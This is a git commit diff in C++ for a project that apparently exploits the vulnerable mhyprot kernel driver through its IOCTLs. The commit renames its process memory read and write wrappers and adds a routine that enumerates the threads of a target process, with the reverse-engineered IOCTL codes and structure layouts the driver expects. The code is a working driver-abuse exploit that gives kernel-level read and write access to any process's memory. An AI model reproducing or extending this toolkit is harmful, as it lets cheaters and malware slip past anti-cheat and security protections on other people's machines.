implement thread enumeration

This commit is contained in:
kento
2020-10-20 16:17:34 +09:00
parent 048b5e65bb
commit 3fa0ebcab6
4 changed files with 111 additions and 12 deletions
Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

+55 -3
View File
@@ -323,7 +323,7 @@ bool mhyprot::driver_impl::read_kernel_memory(
// read specific process memory from the kernel using vulnerable ioctl
// let the driver to execute MmCopyVirtualMemory
//
bool mhyprot::driver_impl::read_user_memory(
bool mhyprot::driver_impl::read_process_memory(
const uint32_t process_id,
const uint64_t address, void* buffer, const size_t size
)
@@ -348,7 +348,7 @@ bool mhyprot::driver_impl::read_user_memory(
// write specific process memory from the kernel using vulnerable ioctl
// let the driver to execute MmCopyVirtualMemory
//
bool mhyprot::driver_impl::write_user_memory(
bool mhyprot::driver_impl::write_process_memory(
const uint32_t process_id,
const uint64_t address, void* buffer, const size_t size
)
@@ -461,4 +461,56 @@ uint32_t mhyprot::driver_impl::get_system_uptime()
// convert it to the seconds
//
return static_cast<uint32_t>(result / 1000);
}
}
bool mhyprot::driver_impl::get_process_threads(
const uint32_t& process_id, const uint32_t& owner_process_id,
std::vector<MHYPROT_THREAD_INFORMATION>& result
)
{
const size_t alloc_size = 50 * MHYPROT_ENUM_PROCESS_THREADS_SIZE;
PMHYPROT_ENUM_PROCESS_THREADS_REQUEST payload =
(PMHYPROT_ENUM_PROCESS_THREADS_REQUEST)calloc(1, alloc_size);
if (!payload)
{
return false;
}
payload->validation_code = MHYPROT_ENUM_PROCESS_THREADS_CODE;
payload->process_id = process_id;
payload->owner_process_id = process_id;
if (!request_ioctl(MHYPROT_IOCTL_ENUM_PROCESS_THREADS, payload, alloc_size))
{
free(payload);
return false;
}
if (!payload->validation_code ||
payload->validation_code <= 0 ||
payload->validation_code > 1000)
{
free(payload);
return false;
}
const void* payload_context = reinterpret_cast<void*>(payload + 1);
const uint32_t thread_count = payload->validation_code;
for (uint64_t offset = 0x0;
offset < (MHYPROT_ENUM_PROCESS_THREADS_SIZE * thread_count);
offset += MHYPROT_ENUM_PROCESS_THREADS_SIZE)
{
const auto thread_information =
reinterpret_cast<PMHYPROT_THREAD_INFORMATION>((uint64_t)payload_context + offset);
result.push_back(*thread_information);
}
free(payload);
return true;
}
+34 -6
View File
@@ -46,6 +46,7 @@
#define MHYPROT_IOCTL_READ_WRITE_USER_MEMORY 0x81074000
#define MHYPROT_IOCTL_ENUM_PROCESS_MODULES 0x82054000
#define MHYPROT_IOCTL_GET_UPTIME 0x80134000
#define MHYPROT_IOCTL_ENUM_PROCESS_THREADS 0x83024000
#define MHYPROT_ACTION_READ 0x0
#define MHYPROT_ACTION_WRITE 0x1
@@ -53,6 +54,9 @@
#define MHYPROT_OFFSET_SEEDMAP 0xA0E8
#define MHYPROT_ENUM_PROCESS_MODULE_SIZE 0x3A0
#define MHYPROT_ENUM_PROCESS_THREADS_SIZE 0xA8
#define MHYPROT_ENUM_PROCESS_THREADS_CODE 0x88
namespace mhyprot
{
typedef struct _MHYPROT_INITIALIZE
@@ -91,6 +95,20 @@ namespace mhyprot
uint32_t max_count;
} MHYPROT_ENUM_PROCESS_MODULES_REQUEST, * PMHYPROT_ENUM_PROCESS_MODULES_REQUEST;
typedef struct _MHYPROT_ENUM_PROCESS_THREADS_REQUEST
{
uint32_t validation_code;
uint32_t process_id;
uint32_t owner_process_id;
} MHYPROT_ENUM_PROCESS_THREADS_REQUEST, * PMHYPROT_ENUM_PROCESS_THREADS_REQUEST;
typedef struct _MHYPROT_THREAD_INFORMATION
{
uint64_t kernel_address;
uint64_t start_address;
bool unknown;
} MHYPROT_THREAD_INFORMATION, * PMHYPROT_THREAD_INFORMATION;
namespace detail
{
inline HANDLE device_handle;
@@ -116,18 +134,23 @@ namespace mhyprot
return buffer;
}
bool read_user_memory(const uint32_t process_id, const uint64_t address, void* buffer, const size_t size);
template<class T> __forceinline T read_user_memory(const uint32_t process_id, const uint64_t address)
bool read_process_memory(const uint32_t process_id, const uint64_t address, void* buffer, const size_t size);
template<class T> __forceinline T read_process_memory(
const uint32_t process_id, const uint64_t address
)
{
T buffer;
read_user_memory(process_id, address, &buffer, sizeof(T));
read_process_memory(process_id, address, &buffer, sizeof(T));
return buffer;
}
bool write_user_memory(const uint32_t process_id, const uint64_t address, void* buffer, const size_t size);
template<class T> __forceinline bool write_user_memory(const uint32_t process_id, const uint64_t address, const T value)
bool write_process_memory(const uint32_t process_id, const uint64_t address, void* buffer, const size_t size);
template<class T> __forceinline bool write_process_memory(
const uint32_t process_id,
const uint64_t address, const T value
)
{
return write_user_memory(process_id, address, &value, sizeof(T));
return write_process_memory(process_id, address, &value, sizeof(T));
}
bool get_process_modules(
@@ -136,5 +159,10 @@ namespace mhyprot
);
uint32_t get_system_uptime();
bool get_process_threads(
const uint32_t& process_id, const uint32_t& owner_process_id,
std::vector<MHYPROT_THREAD_INFORMATION>& result
);
}
}
+22 -3
View File
@@ -53,13 +53,13 @@ namespace sup
// read dos-header using vulnerable driver
//
IMAGE_DOS_HEADER dos_header = mhyprot::driver_impl::
read_user_memory<IMAGE_DOS_HEADER>(process_id, process_base_address);
read_process_memory<IMAGE_DOS_HEADER>(process_id, process_base_address);
//
// read nt-header using vulnerable driver
//
IMAGE_NT_HEADERS nt_header = mhyprot::driver_impl::
read_user_memory<IMAGE_NT_HEADERS>(process_id, process_base_address + dos_header.e_lfanew);
read_process_memory<IMAGE_NT_HEADERS>(process_id, process_base_address + dos_header.e_lfanew);
//
// image size of target process
@@ -96,13 +96,32 @@ namespace sup
{
logger::log("[+] ---> %20ws : %ws\n", _module.first.c_str(), _module.second.c_str());
}
logger::log("[<] snatched!\n\n");
logger::log("[<] snatched!\n");
}
else
{
logger::log("[!] enum modules test failure\n");
}
logger::log("\n[>] snatching threads in the target process vulnerable driver...\n");
std::vector<mhyprot::MHYPROT_THREAD_INFORMATION> thread_list;
if (mhyprot::driver_impl::get_process_threads(GetCurrentProcessId(), GetCurrentProcessId(), thread_list))
{
for (auto& thread : thread_list)
{
logger::log("[+] ---> 0x%llX : 0x%llX : %d\n",
thread.kernel_address, thread.start_address, thread.unknown
);
}
logger::log("[<] snatched!\n\n");
}
else
{
logger::log("[!] enum threads test failure\n");
}
logger::log("[<] performed\n");
}
}